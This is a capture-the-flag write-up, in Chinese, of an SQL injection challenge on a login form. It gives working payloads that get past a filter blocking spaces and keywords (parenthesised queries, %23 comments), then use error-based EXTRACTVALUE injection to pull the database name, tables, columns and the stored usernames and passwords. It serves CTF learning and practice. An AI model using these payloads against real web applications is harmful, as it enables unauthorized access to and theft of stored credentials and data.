尝试万能密码看看
好像被过滤了,先尝试闭合
单引号闭合 ?username=admin&password=aaa'
根据报错得知应该是双引号闭合
?username=admin&password=aaa"
报错变为了密码不对
尝试了好多种注入但是都被拦截过滤了,用字典扫一下看看,有没有哪些没过滤
长度为789的就是被过滤了
大多关件注入字符都被过滤(所有能代替空格的全被过滤了)但是#的代替方式%23没被过滤,还可以尝试一下能不能正常登录的(把后面的密码注释掉)
payload=?username=admin'or(1)%23&password=aaa
登录进去了,但是没有反馈所以不能用之前的union联合查询了
思路也有了,就是基于系统报错的注入而且不用空格
他没有过滤EXTRACTVALUE
函数
因为该函数可携带详细报错信息(可以插入select语句)所以尝试使用该函数来构造报错查询
EXTRACTVALUE
函数的完整语法是:
EXTRACTVALUE(xml_frag, xpath_expr)
***第一个参数理论上应该接收一个XML文档片段,但注入时我们故意传入1
(非XML格式)
(真实XML需要严格格式(如<a>1</a>
),构造复杂)
传入简单参数1能更快触发XPath解析错误
***第二个参数:表达式不符合语法规范时,MySQL会返回错误信息,而这个错误信息中会包含我们构造的查询结果。所以在第二个参数处插入查询语句
使用extractvalue函数进行注入的经典起手式: extractvalue(1,concat(0x7e,(select...... )))
【其中要用到concat函数,该函数用于拼接字符串,0x7e是~的16进制数 用于分隔查询结果】
有了思路 开始注入
查库名:
不能用用空格,所以不用or 1=1 构造 换为or()来构造
payload=?username=admin'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23&password=1
查表名:
之前一般的查询语句为 select table_name from information_schema.tables where table_schema=database() 但是在过滤空格的极端环境下我们要用其他符号来做分隔
用括号:select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))【要特别注意()是否闭合完全,不然后面报错特别难找】
payload=?username=admin1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23&password=aaa
查字段:
payload=?username=admin1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23&password=aaa
脱库:
payload=?username=admin1'or(extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)))))%23&password=1
但发现显示不全,知道了前面的,那就从后面输出拼接一下
但是substr和mid函数被过滤了,试试left和right函数
payload=?username=admin1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))%23&password=1
两个输出拼接一下得到flag